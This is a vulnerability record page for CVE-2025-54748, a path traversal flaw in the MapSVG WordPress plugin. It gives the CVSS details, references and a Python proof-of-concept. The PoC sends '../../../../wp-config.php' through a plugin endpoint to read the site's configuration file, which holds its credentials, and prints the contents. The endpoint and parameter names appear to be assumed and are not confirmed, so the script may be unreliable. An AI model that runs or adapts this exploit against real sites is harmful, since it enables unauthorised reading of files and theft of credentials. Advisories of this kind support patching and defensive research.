CVE-2025-54748

Description

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in RomanCode MapSVG mapsvg allows Path Traversal.This issue affects MapSVG: from n/a through < 8.6.12.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

MapSVG < 8.6.12

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-54748 MapSVG Path Traversal PoC
# Target: WordPress site with MapSVG plugin < 8.6.12

import requests
import sys

TARGET_URL = "http://target-wordpress-site.com"
# Target file to read (wp-config.php)
FILE_PATH = "../../../../wp-config.php"

def exploit_path_traversal():
    """
    Exploit MapSVG path traversal vulnerability to read arbitrary files
    """
    # MapSVG endpoint that handles file requests
    endpoint = f"{TARGET_URL}/wp-content/plugins/mapsvg/php/"
    
    # Path traversal payload
    params = {
        "file": FILE_PATH,
        "download": "1"
    }
    
    try:
        response = requests.get(endpoint, params=params, timeout=10)
        
        if response.status_code == 200:
            print(f"[+] Successfully exploited!")
            print(f"[+] File content:\n{response.text}")
            return True
        else:
            print(f"[-] Exploitation failed. Status code: {response.status_code}")
            return False
    except requests.RequestException as e:
        print(f"[-] Request error: {e}")
        return False

if __name__ == "__main__":
    print("CVE-2025-54748 MapSVG Path Traversal PoC")
    exploit_path_traversal()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-54748
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-54748
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-54748/
[4] VulDB https://vuldb.com/cve/CVE-2025-54748
[5] https://patchstack.com/database/Wordpress/Plugin/mapsvg/vulnerability/wordpress-mapsvg-plugin-8-6-12-arbitrary-file-download-vulnerability?_s_id=cve

Raw JSON Data

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